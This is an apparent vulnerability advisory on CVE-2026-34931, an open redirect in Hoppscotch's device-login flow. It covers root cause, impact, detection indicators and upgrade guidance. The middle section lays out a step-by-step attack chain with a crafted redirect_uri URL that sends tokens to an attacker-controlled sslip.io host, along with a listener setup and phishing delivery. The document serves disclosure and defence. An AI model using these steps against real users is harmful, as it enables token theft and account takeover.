CVE-2026-34931: 
NixOS vulnerability analysis and mitigation

CVE-2026-34931 is an open redirect vulnerability (CWE-601) in Hoppscotch, an open-source API development ecosystem, that enables authentication token exfiltration and full account takeover. All versions of hoppscotch-backend up to and including 2026.2.1 are affected; the issue was patched in version 2026.3.0. The vulnerability was published on April 2, 2026, and was discovered by Aikido Security via their AI pentesting product. It carries a CVSS v3.1 base score of 9.6 (Critical) and a CVSS v4.0 base score of 8.5 (High) (GitHub Advisory, Feedly).

The root cause is improper validation of the redirect_uri parameter in Hoppscotch's device-login flow (CWE-601: URL Redirection to Untrusted Site). The /device-login endpoint accepts a user-supplied redirect_uri without adequately restricting it to trusted loopback addresses, allowing an attacker to supply a crafted URI such as http://localhost.<attacker-server>/device-token that exploits DNS wildcard bypass techniques (e.g., using services like sslip.io) to redirect the victim's browser — along with their access and refresh tokens — to an attacker-controlled server. Exploitation requires the victim to click a malicious link and then click "Proceed" on the device-login page, after which tokens are transmitted to the attacker's listener (GitHub Advisory). The fix, introduced in PR #6012, validates the redirect_uri to prevent token theft via DNS wildcard bypass (Hoppscotch Release).

Successful exploitation allows an unauthenticated attacker to steal a victim's access and refresh tokens, enabling full account takeover by authenticating to Hoppscotch as the victim. This results in high confidentiality and integrity impact — the attacker gains access to all API collections, environments, secrets, and workspace data belonging to the victim. Availability is not directly impacted, but compromised accounts in team or organizational workspaces could expose sensitive API credentials and enable lateral movement to connected systems (GitHub Advisory).

A proof-of-concept exploit with step-by-step instructions is publicly available in the official GitHub Security Advisory, including a crafted malicious URL and a Python listener script to capture exfiltrated tokens (GitHub Advisory). The vulnerability requires no privileges and only low-complexity user interaction (victim must click a link and confirm). As of the time of reporting, there is no evidence of active in-the-wild exploitation, and the CVE is not listed in the CISA KEV catalog. The EPSS score is approximately 0.041%, reflecting low but non-zero exploitation probability (Feedly).

1. Reconnaissance: Identify self-hosted Hoppscotch instances running versions ≤ 2026.2.1 via internet scanning or targeted reconnaissance against known deployments.
2. Set up attacker listener: Deploy a listener on an attacker-controlled server (e.g., using Python's http.server module on a chosen port) to capture incoming HTTP requests containing token parameters.
3. Craft malicious URL: Construct a redirect URL targeting the victim's Hoppscotch instance with a manipulated redirect_uri parameter that bypasses loopback validation using a DNS wildcard service: http://<your-domain>/device-login?redirect_uri=http%3A%2F%2Flocalhost.<attacker-server>%2Fdevice-token (for IP-based servers, use localhost.89.167.52.207.sslip.io format).
4. Deliver link to victim: Send the crafted URL to a logged-in Hoppscotch user via phishing email, chat message, or other social engineering vector.
5. Victim interaction: The victim clicks the link, lands on the Hoppscotch device-login page, and clicks "Proceed."
6. Token exfiltration: The application redirects the victim's browser to the attacker-controlled server, transmitting the victim's access and refresh tokens as query parameters in the request.
7. Account takeover: The attacker uses the captured tokens to authenticate to the Hoppscotch instance as the victim, gaining full access to their account, API collections, and workspace data (GitHub Advisory).

• Network: Outbound HTTP/HTTPS requests from the Hoppscotch server or victim browser to unexpected external domains, particularly those matching patterns like localhost.<external-ip>.sslip.io or other DNS wildcard bypass domains; requests to /device-token endpoint on non-local hosts.
• Logs: Hoppscotch access logs showing requests to /device-login with a redirect_uri parameter pointing to external or non-standard loopback addresses; repeated device-login flow initiations from the same user account in a short timeframe.
• Authentication Events: Unexpected login sessions or token refresh activity from IP addresses or user agents inconsistent with the victim's normal access patterns; simultaneous active sessions from geographically disparate locations for the same account.
• Application Logs: Backend logs recording redirect_uri values containing external domains or DNS wildcard patterns (e.g., sslip.io, nip.io) in device-login requests (GitHub Advisory).

The primary remediation is to upgrade Hoppscotch (hoppscotch-backend Docker image) to version 2026.3.0 or later, which includes a fix that validates the redirect_uri parameter in the device-login flow to prevent DNS wildcard bypass and token theft (Hoppscotch Release). No official workaround is provided for users unable to upgrade immediately; however, restricting network access to the Hoppscotch instance and educating users to avoid clicking unsolicited links can reduce exposure. Enabling multi-factor authentication where supported can limit the impact of token compromise (Feedly).

The vulnerability was discovered by Aikido Security using their AI pentesting product and responsibly disclosed to the Hoppscotch team, who patched it in version 2026.3.0 released March 31, 2026 (GitHub Advisory). A technical write-up was published by Infinit Security covering the improper loopback redirect_uri validation in the device-login flow (Infinit Security). Community reaction has been limited, with the CVE noted in standard vulnerability tracking feeds and databases without significant broader media coverage.